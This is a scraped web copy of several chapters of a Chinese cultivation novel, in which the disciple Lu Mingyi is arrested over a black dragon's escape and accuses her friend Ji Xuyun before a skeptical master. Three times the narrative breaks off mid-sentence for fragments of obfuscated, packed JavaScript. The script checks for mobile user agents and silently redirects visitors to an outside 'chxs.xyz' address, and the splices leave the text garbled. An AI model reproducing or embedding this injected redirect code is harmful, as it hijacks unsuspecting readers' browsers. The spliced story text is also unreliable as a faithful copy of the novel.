即便丹田传来的痛楚、落入湖水中引发的寒疾令她脚步迟缓,她也还是强打起了精神。 拿出身份牌,她注入灵力向姜流照传讯,表示自己有急事需要禀告。 然而等了好一会儿,也并未收到回复,看来她要主动去一趟凌霄阁。 鹿鸣意从未如此深刻地认知到自己的人缘已经差到了这般地步,毕竟往日她在太清宗内可以说是一呼百应。就算是修为跌落后,一些人对她的态度产生了变化,但大部分同门偶尔也愿意看在过往的交情上伸出援助之手。 然而,因着宗主那个预言的流传,现在宗门内的人要么对鹿鸣意充满敌意,要么就避她如蛇蝎,要寻旁人的帮忙实在难如登天。 她也是第一次知道,原来这么多人对所谓“预言”深信不疑。 这个节骨眼,也顾不上麻不麻烦之类的问题,既然没能用身份牌联系上姜流照,鹿鸣意打算去幽兰阁找萧雨歇,劳烦她御剑送自己去凌霄阁。 哪怕萧雨歇把她当做那位谢释疾师姐的替身,但至少平日里依然关怀她。 只是,那些关怀到底是出于对逝者,对百年是姐妹的情谊,还是更功利的目的? 许是身体上的脆弱,让鹿鸣意的心神难以集中,哪怕着急要去见姜流照,这会儿在路上却也忍不住想那些听到的声音。 从藏书阁到幽兰阁的距离不算远,但鹿鸣意有伤在身,等她真到了幽兰阁的时候,天色已经完全暗了下来。 她敲响了幽兰阁的大门,开门的却不是萧雨歇。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019091|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “鹿小姐?”女人是萧家的家仆,她一眼就认出了鹿鸣意,“你是来找家主的吗?她现在并不在阁中。” 这可当真是屋漏偏逢连夜雨。 鹿鸣意眉头微微蹙起,但还是露出浅笑问好:“嗯,我来找师姐有点事,她大概什么时候能回来?” 家仆思索一阵,考虑到鹿鸣意都跟着萧雨歇一块儿去过萧家本家几趟了,便将实情告诉她:“家主约见了赵、林两家的小姐,商量西南地区要事,恐怕不会很早回来。” 赵林两家是西南的大家族,族中嫡系也有几位在太清宗修行,过去鹿鸣意都还同她们见过面。 那时萧雨歇从不避讳她,甚至把她四处带着参加这些家族会议。 鹿鸣意微微垂下眼眸,很快又扬起一个笑:“打扰道友了,那待师姐回来我再来。” “是。”家仆应了声,眼神又不着痕迹地细细打量了她片刻,道,“鹿小姐,你脸色有些不大好,要不进屋里来喝点热茶再走吧。” “多谢,但不用了。”鹿鸣意摇摇头,果断转身离去。 在一片夜色之中,鹿鸣意看着远方亮起的点点灯火,竟头一次觉得悲凉。 她看向山那头最亮的那座府邸,想着白天才和沈鸣筝闹了个不愉快,按照对方的脾气,这会儿给她传信也必然不会被回复。 实在是没有旁的法子了,鹿鸣意闭上眼呼唤:“术一,能麻烦你出来一下吗。” 她话音一落,前方不远处的空间稍微扭曲了一下,一个极为纤细的身影便出现在了鹿鸣意眼前。 可能因着某种法术的原因,女人虽然穿着一身印有沈家族徽的淡红长袍,但却并不惹眼,甚至几乎要融入这夜幕之中。 术一就这样平静地与鹿鸣意对视,等待她发话。 “术一,你能不能帮我个忙。”鹿鸣意声音小了些,不但因为身上的疼痛,还有心中要劳烦对方的羞愧。 沈翩尘是派她来保护自己安全的,但她这会儿却要使唤对方做“送人”这种事。 “能带我去一趟凌霄阁吗?我有很要紧的事。” “自然。”术一应得很快。 方才在藏书阁外发生的事,她没有出现,主要还是因为看出来王停那些人纯粹是为了折腾鹿鸣意,并不是要直接害她。 作为萧家的护卫,除非鹿鸣意主动呼救,否则术一不会因为鹿鸣意而为这点事出手。 而眼下鹿鸣意亲自开口,术一自然会去遵守对方的要求。 同为剑修,术一自然也是用御剑之术。 按化神期修士的修为,从半山腰到剑峰峰顶,也要不了多久。 但鹿鸣意发觉对方在半路上停下了。 “术一?”她疑惑问道。 “鹿小姐,少主有事找你,劳烦你先看一下身份牌了。”术一依然不带什么感情。 沈鸣筝? 鹿鸣意的心骤然收紧,没想到沈鸣筝居然会这么快主动找她,说不出是欣喜激动还是别的什么心情,她急忙掏出了身份牌查看传讯。 当真是沈鸣筝传来的,但却是说沈家有急事,沈翩尘和夏涣要赶回沈家,让她再来金阙阁一趟。 这讯息多半是沈翩尘让沈鸣筝传的,遣词造句都极为简练,直白地表露出对方现在“不想与你多说”。 鹿鸣意失笑,对这场面倒是无比熟悉。 但刚唇角刚扬起,她就想到了听到的那些话: 【呵,已经是筑基三层了,看来你离变成废人的那天也不远了。】 【虚伪的家伙!成为预言之子,你心里一定高兴得要死了吧?是不是觉得自己马上又可以回到那种众星捧月、天下第一的天才日子里了?】 于是,笑就僵在了脸上,变成了一个古怪的表情。 鹿鸣意心底一声叹息,想着沈鸣筝对她肯定是有了什么大误会,等到魔宗的事情解决后,她定要和对方好好说说。 正当她准备回复沈鸣筝说等这边的事忙完后就去,她的身份牌又接收到了一条传信: 【剑峰亲传门徒鹿鸣意: 执法堂收到讯息称今日申时你于太清渊处游荡,触发了黑蛟的禁制,导致黑蛟暴动,给宗门带来了严重后果。请你收到讯息后即刻前往主峰执法堂接受审讯。】 17. 第十七章 黑蛟? 鹿鸣意呼吸一滞,她想到自己走之前,太清渊还是风平浪静看不出什么问题,怎么会突然就暴动了? 而且,她当时还把王停和她那两个跟班都踹进了太清渊。 黑蛟是极为稀少的灵兽,一头千年黑蛟,修为近乎于洞虚期修士,在没驯化之前又是极为狂躁的品性,若真是让王停她们给碰上了,绝对是一场灾难。 鹿鸣意的心高悬起来。 不过,宗门内目前还没有什么大动静,执法堂只是给她传讯了,应该是没有门徒伤亡的。 紧接着,她又想到兽峰控制的一众灵兽中不是没有千年黑蛟这个级别的,按理来说,兽峰的禁制与阵法是极为牢靠的,怎么会突然出现这么大的岔子? 几乎是瞬间,鹿鸣意就意识到这又是魔宗的手笔。 姬绪云的资料她方才也在藏书阁翻阅了一下,与她本人所说相差无几。 但这却是更为恐怖的答案。 若资料没有出差错,那能打破兽峰禁制放出黑蛟的人修为应当极为高深,放眼望去太清宗内都没几位长老能到这个层次;若资料错了,首先姬绪云的实力就已经令人感到震撼,其次能修改太清宗资料并且几十年都没被人发觉,这个人的地位在太清宗内也应当极高。 如此一想,整个太清宗内竟然都没几个人选了。 “鹿小姐。” 术一不带感情的声音将鹿鸣意从思索之中回过神来,她说,“你已经看了少主给你发的讯息了,那我现在送你去金阙阁。” “什么?不,请稍等一下!我要先去凌霄阁!” 鹿鸣意眉头紧蹙,苍白漂亮的脸因为着急而染上了些许红晕,看着反倒是显得气色好了些:“拜托了,我现在有很重要的事必须见到我师尊!” 现在没有什么事比找出魔宗卧底更重要了。 这会儿她们就能把黑蛟放出来,谁知道后面会干出什么事? 而且执法堂那边也要先过去,不知道王停那几个人到底如何了。 但术一却丝毫不为所动,她直接调转了方向,同时毫无波澜地说:“抱歉鹿小姐,我是沈家的护卫。少主让我带你去金阙阁,一切当以沈家的要求为先。” 鹿鸣意的话堵在了喉咙里。 她脑海里跳出了几个尝试能够让术一“回心转意”的方法,但最后只能一一放弃。 且不说术一确实是沈家给她的护卫,自己原本就没有权利使唤对方,光看术一那化神期的修为,自己如今一个负伤的练气期,能做什么? 于是,她只能试图说服对方:“此事事关魔宗,万分紧急!” 然而术一依然不为所动:“待少主她们的事情做完,我会再送鹿小姐去凌霄阁。” 鹿鸣意:“……” 虽然知道身为护卫,最重要的是对家族忠心,要将家族排在首位,但鹿鸣意实在想不到居然还能到这种地步。 哪怕术一确实加快了御剑速度,金阙阁已经就在脚下,鹿鸣意依然觉得到郁闷。 太清宗怎么就这么大?但凡是个小点的地方,她咬咬牙靠自己的腿,也该办完事了! 但郁闷归郁闷,从剑上下来的时候,鹿鸣意还是向术一行了个谢礼。 术一给她回礼后,身形一闪,又隐匿了起来。 看着夜间更显得金碧辉煌的金阙阁,鹿鸣意心绪复杂。 她现在还不想见沈鸣筝。 这种复杂,在检查身份牌发现姜流照还没有回讯息时,变为了更明显的烦躁。 因着黑蛟一事,有关魔宗的消息更应当是十万火急,她只是想去见姜流照一面汇报情况。 这么简单的一件事为何实践起来如此困难? 若不是事关魔宗,鹿鸣意此时不想与任何人打交道。 从思过崖出来的这一天,她当真是跌宕起伏,不管是精神还是身体都到了极限边缘,能撑到现在全凭着坚决的意志。 鹿鸣意相信她这会儿去镜子前面一站,定能看见一张白得像在做丧事的脸。 揉了揉自己的脸,鹿鸣意强打起精神,推开了金阙阁的门。 沈鸣筝的金阙阁内不知有多少天材地宝,即便已经是晚上,殿内也亮如白昼。 殿内的情形和白天时没有多大区别,沈翩尘依然坐在中心的主座上,夏涣在她手边翻阅着书籍。 唯一不同的是这座府邸的主人。 沈鸣筝不似白日时,在鹿鸣意进殿时就急匆匆迎了上来,眼下大晚上的,她甚至都不在正殿内。 鹿鸣意紧绷的神经放松了些。 实话说,她现在还不知道该用什么心态去面对沈鸣筝。 “小意来了。”沈翩尘从书中抬头,对鹿鸣意柔和一笑,但很快她又蹙起眉头,停顿片刻道,“你快上前来让我瞧瞧,脸色怎么这么差?难道你下午在太清渊伤着了……” 鹿鸣意有些意外沈翩尘居然能这么快就得知太清渊的消息,不过想到黑蛟暴动一事必然影响极大,消息可能早就传开了:“沈姨母,我没事的,就是今天到处跑有点累着了。” 沈翩尘脸上的担忧反而更重了些,她道:“黑蛟的事我们已经听说了,多半也是魔修的手笔。不知对方到底是魔宗哪位长老,居然能如此神不知鬼不觉地侵入太清宗。” 鹿鸣意闻言并没有开腔,只是默默听着。 并非是她信不过沈翩尘和夏涣,而是世家和宗门之间虽然有合作,但实际却是泾渭分明,二者都不喜对方过多掺和自己的事。 这也是鹿鸣意一直只考虑找姜流照报告姬绪云是卧底这件事的缘由。 沈翩尘又说:“小意,如今多事之秋,我和你夏姨母思来想去,觉得你和阿筝继续待在太清宗内实在让我们担忧。不如暂且一同回沈家,至少在我们眼皮子底下,等到风波过去你们再回来。阿筝已经去内殿收拾东西了。” 鹿鸣意一愣,但很快也理解了沈翩尘和夏涣的做法。 六十年前,魔宗造次。 她和沈鸣筝彼时正是意气风发,以太清宗门徒的身份参与了对魔宗圣女的围剿活动。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019092|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 但谁也料到魔宗圣女居然已经有金丹期大圆满的修为,带来的魔修也几乎都是金丹以上,她们甫一出击就遭受重创,甚至还有数人被俘虏,其中就包括了沈鸣筝。 虽然后来鹿鸣意成功救人,但却也着实让沈翩尘和夏涣大受惊吓,自此沈鸣筝周围的护卫从不少于四人。 如今太清宗又出了这么多事,沈翩尘自然怕沈鸣筝再出什么意外。 但她要回沈家吗? 鹿鸣意沉思片刻,恭敬道:“多谢沈姨母和夏姨母的好意,但如今魔宗来犯,我不能就这么回去。” 不说她与魔宗之间的仇恨纠葛,单论当前形势,其一,姬绪云为魔宗之人,这几年来与她关系密切,鹿鸣意是“预言之子”的消息也是她推动传播的,或许魔宗当真有着对她下手的心思,这时候回沈家无疑是给沈家增加风险;其二,她还要弄清楚那些声音到底从何而来。 家族重血脉,宗门重人脉,在太清宗内能收集到的信息是会比沈家更多的。 夏涣听到她的话,剑眉微微拧起:“你现在的情况,太清宗定然也不会让你去前线的。” 鹿鸣意一进金阙阁,她们就发觉她的修为竟然再度跌落,从筑基三层跌倒了练气期。 让练气期去对付魔宗,实在有点太不人道了点。 鹿鸣意也听出了这个意思,正想为自己留下的理由再补充几句,就听沈翩尘叹息一声,问:“小意,你当真下定决心,要在这个节骨眼留在太清宗,直面魔宗?” 夏涣闻言,讶异之中还带着隐隐的不赞同,看向自己的妻子。 “是。”鹿鸣意抱拳抬眸,眸光坚定与沈翩尘对视。 她应答之时,突然隐隐听到了几声“噼里啪啦”的声音,像是许多重物摔落到了地上。 殿内有一瞬寂静,但沈翩尘和夏涣神色未变。 沈翩尘轻轻点头,继续开口:“我想也是。以你的性子,定然很难在魔宗来犯时坐以待毙。”她说完拿出一枚储物戒指,“那你就把这个带着,里面有一些法器和符箓,你且防身用。” “谢谢沈姨母。”鹿鸣意对此没有客气地接了下来。 “已经亥时了,你今夜就在金阙阁歇着吧。”沈翩尘挽留道。 之前鹿鸣意没少来金阙阁,在这边歇着也是常态。只是如今形势紧迫,她自然是拒绝,要赶去凌霄阁找姜流照。 她说完推脱的话,又听到了一阵沉闷的摔东西的声音。 夏涣轻咳一声:“咳,行吧,既然你还有要紧事,就赶紧去。术一,你送她。” 家主之妻亲自开口,显然比鹿鸣意自己请求要有分量得多,术一已经召出了佩剑。 鹿鸣意还在琢磨金阙阁中怎么会突然出现那两声沉闷的声响,但到底还是魔宗的事更紧急,于是把这件事也暂且放到了脑后。 然而她还没有踏上术一的仙剑,金阙阁外就传来一阵敲门声,同时伴随着庄肃的灵气传音: “剑峰鹿鸣意是否在此?主峰执法堂前来羁押,莫做无谓挣扎!” 18. 第十八章 鹿鸣意当真不理解,为什么如今自己想见姜流照一面,却是难如登天。 她的双手被缚仙索捆绑背在身后,左右两肩各被一人按住,押着跪在地上。 押着她的两名门徒周身灵气翻涌,身子紧绷,显然是非常提防鹿鸣意的样子。 身旁同样被喊过来的王停虽然也跪着,但可没有鹿鸣意这般“隆重”的待遇,还能凶神恶煞地盯着鹿鸣意。 对于这种场面,鹿鸣意反而想:王停能这样子有闲工夫瞪她,证明也没遇着那黑蛟,当是没什么事的。 于是,她心安理得地没再给王停施舍哪怕一个眼神。 执法堂位于主峰之上,装潢肃穆沉闷,在大殿两侧放置有两尊雕刻,其形似麒麟,双目突出,额上有一独角,是象征清平公正的獬豸。 往日鹿鸣意轮值到执法堂当判官时,一般中午没人来,这两尊獬豸就被她拿来当临时的“床铺”用。 那时她绝对想不到,自己有朝一日也会被压在这獬豸之下,接受讯问。 而今日轮值的判官还是个熟人——贺茗。 只是再次见面,贺茗显然没有前两次称得上友善的态度,她此时面对鹿鸣意的神情满是冷厉和警惕。 太清宗的门徒若是触犯宗规中的大错,会由执法堂传讯要求其来接受讯问。但对于“存在极大隐患”的情况,则由执法堂亲自出面押送。 显然,如今的鹿鸣意就是这个“存在极大隐患”的存在。 “剑峰第一百七十二代亲传门徒鹿鸣意,符峰第一百六十三代亲传门徒王停。”贺茗开始审讯流程。 鹿鸣意与王停应是。 “今日下午申时,你二人是否在太清渊附近出没,并且打闹?” 鹿鸣意与王停又应是。 鹿鸣意心中嘲讽,她和王停在宗门内是出了名的关系不和,怎么可能“打闹”? 显然此次审讯的重点不是她们在宗门内擅自斗殴,多半是要提及那条暴动的黑蛟。 果不其然,贺茗下一句便是:“同样是今日申时,五日前关押在太清渊之下的千年黑蛟突然暴动,冲破了禁制,所幸看守门徒及时发现,无人员伤亡。对此,你二人可有什么解释的?” “判官,我和王师姐只是恰巧路过了那里。如今提及此时,我们应当是庆幸自己没有遇上这条黑蛟。”鹿鸣意虽然被重重看押,但仍是主动开口应答。 王停显然也不想和这事掺上关系:“当是如此的,判官。” “也许我该说得清楚一点。”贺茗敛眉,往日她身上作为医修温润亲和的气息眼下消失殆尽,“黑蛟冲破禁制,可是你二人做的手脚?” 简直荒谬! 鹿鸣意不免无语,不知道执法堂怎么会往这个方面想。 自己和王停如果能有攻破兽峰专门用于禁制高级灵兽的本事,今天下午怎么可能就只是下太清渊“溜达”一圈? “判官,兽峰的禁制阵法,是由兽峰峰主散华真人亲自制成,而散华真人修为已至洞虚后期,能突破她的禁制,显然并非常人。”嘲讽归嘲讽,面对曾经救治自己的贺茗,鹿鸣意的态度还是相当谦逊。 旁边的王停也明白了执法堂在怀疑自己,登时有几分不满:“判官,你这是什么意思?难道我还能去当那个放出黑蛟的人吗?那我现在怎么还只能在执法堂里?” 贺茗巍然不动,只是说:“看似不行,但实际谁知道呢?尤其是你,鹿师妹。正巧近日因着‘预言之子’的传闻,宗门内人心惶惶,而你今日刚从思过崖出来,宗门内就发生了如此巨大的变故。” 又来了。 鹿鸣意都快忍不住翻白眼的冲动了,哪怕是面对贺茗。 把刚刚王停的话拿来用一下,如果她这个预言之子这么厉害,怎么还被押在这儿呢? 但她也明白了,执法堂看似是走流程讯问,实则是认为她有什么别的手段打破散华真人的阵法,让门徒亲自来押送她,也是因着那个预言,怀疑她和魔宗有勾结。 鹿鸣意气笑,今天发生的一系列事本就让她备受冲击,这会儿还要被当众怀疑和魔宗不清不楚。 她懒得再兜圈子,干脆道:“既然判官如此怀疑,那我申请搜魂。” 此言一出,整个执法堂都陷入了震惊之中。 连一直刁难鹿鸣意的王停都失态地喊道:“你疯了?!” 搜魂之术,顾名思义,是用于探查某人的魂魄,在探查之余,即可获得这个人从出生到至今的所有经历记忆乃至心中所想。 这门术法相当高深,对于被搜魂之人也极为危险。 因为在搜魂过程中,稍有不慎,便会对其灵魂造成直接的创伤,轻则灵魂受损,重则魂飞魄散。 太清宗内的搜魂之术,只能由五峰峰主以及宗主批准并亲自执行,且仅用于那种犯下重罪的极恶之人。 此时鹿鸣意主动提出要搜魂,虽然是为自证清白,但在旁人看来也实在不值得。 倒是她本人神色平静,甚至有几分无所谓的味道:“怎么了?此事事关重大,当是用搜魂之术更为稳妥些。而且,当请最为公正无私的长虹剑尊来执行这搜魂术才行。” 这便是鹿鸣意的打算。 眼下她被执法堂扣住,显然短时间内是脱不了身的,倒不如主动请姜流照来。 “这……” 执法堂内门徒陷入纠结之中,身为当期判官的贺茗亦是眉头紧皱,接了这个烫手山芋当真是难办。 但此事关系到魔宗卧底,也确实应该谨慎处理,与其自己处理不当,倒不如让更高级的长老们来。 于是,贺茗拍板拿出了执法堂的专用传令:“那便如你所愿,我这就传令长虹剑尊。” 鹿鸣意不着痕迹地松了一口气,绕了这么多弯弯绕绕,总算让她见着师尊了。 但看到姜流照没多久就出现在执法堂的清丽身影,她心里又不免嘀咕:怎么自己传讯,师尊就迟迟不回复,执法堂一传令就来了? 鹿鸣意知道执法堂的传令会有特殊提示,但姜流照来这么快,不是证明她没有正忙着的事吗? “见过长虹剑尊。” 执法堂内的一众门徒齐齐行礼,就连王停都半跪下身。 “免礼。” 姜流照走到了鹿鸣意身边,垂眸看着她。 鹿鸣意见到姜流照,嗅到了极为浅淡的檀木香气,她本应觉得安心的,可脑海里却突然响起了之前听到的姜流照的声音: 【你是否能真的毫不动摇?】 鹿鸣意怔神片刻,眼睫抖了以下,亦是只垂眸,视线聚焦在姜流照干净到一尘不染的白色靴子上,低声说:“见过师尊。” 姜流照见她如此,细眉轻蹙,对还按押着鹿鸣意的两位门徒道:“你们放开她吧。” “长虹剑尊,使不得,她是重犯!”贺茗身旁的副判官忍不住出声,可顶着姜流照不容质驳的表情,她声音越来越小。 无人敢与长虹剑尊唱反调,甚至被命令的那两位门徒已经早早收了手,退到一边去了。 “重犯。”姜流照重复这两个字,声音算不得大,她问贺茗,“本尊收到传令,执法堂申请执行搜魂术。对何人?为何事?” 贺茗抱拳一一禀告:“长虹剑尊,是为黑蛟一事。鹿师妹和王师妹恰好在今日申时出没在太清渊上,有数位在藏经阁的门徒可以作证。黑蛟暴乱一事颇为蹊跷,是以执法堂要彻查两位师妹。” 姜流照闻言,静默片刻,开口问:“是何人提出要执行搜魂术?” 她面上的神情未变,可贺茗感受着女人投过来的深不可测的目光,顿时感觉压力如影随形,忙道:“是、是鹿师妹……主动要求的。” 这下,承受压力的人变成鹿鸣意了。 她压下心中那些喧嚣的声音,顶着姜流照锋利的眼神,小心翼翼地抬起头对身旁人露出一个乖巧的笑容:“师尊,徒儿觉得这样或许会比较高效?” 姜流照无言,只是眉头蹙得深了一些。末了,她无奈般轻轻叹息:“简直胡闹。” 这话不知道是指鹿鸣意为这点事就要搜魂,还是说执法堂怀疑两个年少的亲传门徒是魔宗卧底。 鹿鸣意估摸着两种意思都有。 贺茗也定然听出了姜流照的意思,她面色有些为难,解释道:“长虹剑尊,并非是执法堂擅自怀疑同门,而是……是宗门内几位长老合力商议的结果。” “哪几位?”不曾想姜流照居然接着问了下去。 贺茗更是只能硬着头皮报出了几人的名字,虽然这几人没有五峰峰主这等高位,却也是各峰的中流砥柱、资深长老,绝大部分门徒都还是要遵循她们的话的。 “本尊知晓了。”姜流照语气听不出什么情绪,但态度倒是很明显,“此事暂且到此。” 执法堂的门徒脸色各是一僵。 姜流照这意思显然就是要执法堂放走鹿鸣意,到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15019093|162176||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时候遭受长老责罚的就是她们了。 然而却无人对姜流照的决定提出异议。 “本尊会传讯给这几位长老说明情况。”姜流照又道,“在黑蛟一事调查清楚前,本尊会与天符真人各自看护她们二人。” 天符真人,即是符峰的峰主,王停的师尊。 姜流照补充的这句话,又让执法堂的门徒们松了口气。 有长虹剑尊的传讯,那些下令的长老想来也说不了什么了。 鹿鸣意被姜流照领出了执法堂,王停则留在那儿等天符真人。说起来,王停也称得上是受鹿鸣意“牵连”。 毕竟执法堂要找个合适的理由把鹿鸣意押过来,下午和她和王停在太清渊大打出手,显然就是个极好的由头。 再一次意识到宗门内对那个预言的深信不疑,还有对魔宗的忧虑,鹿鸣意看着姜流照在夜色中朦胧的身影,忙道:“师尊,今日又给你添麻烦了,但我是有要事禀告。” 女人闻言,只是轻轻用眼神轻扫她一下:“一切待回凌霄阁再说。” 去凌霄阁? 鹿鸣意一愣,旋即想到方才姜流照说要“看护”她,难道是说……要把她关在凌霄阁吗? 过去也有类似的事,鹿鸣意偶尔犯错,又不算违反宗规,就会被姜流照押在凌霄阁,在她眼皮子底下“思过”。 但这可比去思过崖舒服多了,姜流照给她留着之前住过的卧房,除了没法找人玩,可以说只是换了个地方住。 有时鹿鸣意待着无聊了,还会跑去大殿,坐在姜流照身旁看她处理宗门内务。 鹿鸣意心中泛着嘀咕,想说黑蛟那个事根本和自己没关系,即便是关在凌霄阁也不应该。但到底念着要向姜流照说明姬绪云的事,她也就先安静跟着。 等到了凌霄阁,剑峰峰顶上依然下着雨。 身为沈家护卫的术一自然是进不去阁内的,姜流照知道她的存在,本想给她在旁边留一栋单独的洞府,反正剑峰不缺。 术一却是果断拒绝了,坚持自己待在凌霄阁外。 鹿鸣意极为不好意思,但哪怕说得口干舌燥,术一也不听她的,只说家主下了命令,她会一直跟在鹿鸣意最近的地方。 进了凌霄阁大殿内,鹿鸣意依然频频望向门口,显然还在担忧术一。 姜流照见此,便道:“我会给沈家主修书一封,让这名护卫这几日暂且不用守着。”说完,她又从桌上递过来一个冒着热气的杯子给鹿鸣意,“喝下去。” 鹿鸣意接过后没什么犹豫,直接听话照做,结果一阵辛辣刺激的味道即刻从喉咙里窜上来,直冲天灵盖。 “咳……唔……” 她一阵猛烈地咳嗽,白皙俏丽的脸涨得粉红,一双明眸水光潋滟,连眼角都染上了点点红痕,看起来分外可怜,带着鼻音说:“师尊……这、这是什么……” 在一片模糊的视野里,鹿鸣意好像看见姜流照的唇角微微上扬了点,如高山雪莲的盛开一般,短暂却美丽至极。 她听到眼前人说:“现在寒气可有除去一些?” “啊……” 鹿鸣意一愣,她当真发觉,从思过崖出来后,一直令她身体隐隐不适的寒冷感此时已经尽数褪去。 顿时,她又喜笑颜开坐得离姜流照近了一些:“多谢师尊,已经没觉得冷了!” 见鹿鸣意身子好了些,姜流照收起了唇角那如昙花一现般的弧度,道:“如今宗门正是多事之秋,你又在风口浪尖,暂时就在凌霄阁待上一段时日。” “师尊我明白。”鹿鸣意点头应下,又舔了舔唇,“我、我还有很重要的事同你说。” 姜流照颔首示意她说下去。 紧张焦虑了一晚上,此刻鹿鸣意终于要向姜流照说出那个搅得太清宗一片混乱的魔修的名字。 可不知怎的,话已经到了嘴边,她却有了一瞬的犹疑。 这三年来,姬绪云处处为她。 她们一起遭受宗门内一些人的冷嘲热讽,共赴小秘境找寻机缘,同游江夏的日子仿佛还在昨日。 或许那个声音并不全是真的心声呢? 就算在萧雨歇那儿提到了谢释疾,也可能是个巧合。 但犹豫只是一瞬,鹿鸣意知道魔宗的事经不得侥幸。 一如一个月前来凌霄阁为姬绪云求情一般,她与姜流照对视,直言道:“师尊,对于宗门内有魔宗卧底一事,请您仔细调查一下姬师妹!” 19. 第十九章 “师尊,请仔细调查姬师妹,她或许与魔宗卧底有着千丝万缕的联系。” 鹿鸣意终于将这压在她心头的话说了出来。 而姜流照闻言,眉头顿时紧蹙,在白皙细腻如玉般的额间留下一道痕迹。 她细细摩挲着手指上莹白的储物戒指,沉默良久后才开口:“你为何这么说?” 鹿鸣意微微吸了一口气,解释道:“自一个月前从昏迷中醒来,我偶尔会听到一个声音。那个声音很像姬师妹的,我听到了几句说……” 她把自己在姬绪云那儿听到的话复述了一遍,注意到姜流照的神色越来越冷峻。 姜流照不苟言笑,但鹿鸣意与她相处的这些岁月里,她也多是清冷温和的,远称不上“冷漠”。 可此时,鹿鸣意却是真切感受到了眼前女人身上散发出来的寒意与威压。 “……师尊?”她唤了一声。 姜流照望着她,阖上眼眸轻轻吐息。 殿内陷入了很长一段时间的沉默,沉默到让鹿鸣意的心逐渐下沉, 待沉底之时,姜流照动唇,然而说出来的话,却让鹿鸣意遍体生寒: “你仅凭自己听到的、不知来历的声音,就怀疑自己的同门?” “甚至这个对象是与你交情匪浅的师妹?” 女人的长眉缓缓舒展来开,美丽得不可方物的脸上此时面无表情,鹿鸣意却觉得像是布上了一层薄冰。 那双墨色的眼眸,虽然像往常一样深邃不可见底,可她却读出了隐隐的愤怒与失望。 鹿鸣意登时感觉心脏像被刀搅般抽痛起来。 她想过跟姜流照说,对方可能会难以接受;可不曾想,姜流照却是半点不信的意思,甚至怀疑她别有居心。 被信任的师长质疑,这显然是非常不好受的。 她忍不住为自己辩解:“师尊,我绝非肆意猜忌师妹!事实上,我已经经过了谨慎的对比,知道这声音并非是空穴来风!” “那么,这就能证明你所听的都是真的吗?” 姜流照平静到冷漠的眼中倒映着鹿鸣意的身影:“这个声音从何而来,有何目的,你可找到了答案?” “我一直想找到!” 鹿鸣意说着就有些委屈,这一个月来她一直担惊受怕,偏偏这事不是个能随便倾诉的。 就像她最初在藏书阁看的那些书中所写一样,“听到莫名的声音”在修仙界内,多半是“不详”的征兆,不是走火入魔就是恶鬼缠身,更逞论她如今还顶上了一个“预言之子”的名头。 如果不是事关魔宗……鹿鸣意绝对不会向任何人提及自己听到的声音的。 但姜流照不为所动:“‘想’,那便是还未找到。” 鹿鸣意近乎要被她眼中的冷光刺伤,也更加气愤和委屈。 她想,师尊既然一点不信她,那自己不如干脆就把在师尊这儿听到的几句话说出来与她对证。 然而话到嘴边,面对姜流照如冰锋般的神色,鹿鸣意竟觉得自己仿若失声,那几句话怎么也说不出来。 即便那些话语焉不详,可处处透露着姜流照对她的怀疑。 在本就不信任的前提下,如果她说出来了那些话,姜流照又会如她所想,转而信任她吗? 心中百转千回,鹿鸣意压下了那些要全盘托出的念头,但这样一来她却是更为烦闷。 放在身侧的双手握成拳,她口头上不落下风道:“是!可是,魔宗之事怎能疏忽?况且我只是向师尊请命调查姬师妹!” 若是那群执法堂的门徒在这儿,必然要目瞪口呆,震惊于天下居然还有人敢如此强硬地顶撞长虹剑尊。 “好。” 姜流照突然应下,反倒让鹿鸣意惊诧。 “执法堂下一次轮值在三天后,我便请令由你担任这一次轮值的判官。你所说的调查姬绪云是否为魔修一事,我将给你等同于一峰之主的执法权。” 她们分明是面对面坐在同一张桌子上,可鹿鸣意却觉得自己完全被姜流照的视线俯视笼罩。 而她的师尊,就这么冷漠地说出最残忍的话:“如此,三日后就由你去亲自羁押审讯姬绪云。” 今日,她因为宗主的一道预言而被扣上莫须有的罪名、押入执法堂;现在,她要因为那不知来历的声音去怀疑与她交好的姬绪云是魔宗卧底,甚至要求师尊去调查。 姜流照这番话,无非是想让她明白,己所不欲勿施于人。 鹿鸣意想:如今她在师尊眼里,恐怕已经是个整日不思进取、不守规矩,还品行不端的人了。 毕竟,过去百年在剑峰,姜流照除了教授鹿鸣意赤霄剑法与修炼之术外,对她旁的功课要求也极为严格。而日后若要成为一峰之主,心怀天下,德行操守这些更是授课的重点。 同门之间猜忌告状,还是自己的亲传门徒,用的甚至是魔宗卧底这个理由,这种行为会让姜流照多么震怒。 可她想到在萧雨歇那儿听到的谢释疾的名字,沈鸣筝那儿嘲讽的话语和她愈发喜怒无常的脾气,师尊对她逐渐无情的评价…… 还有这一个月以来的辗转反侧。 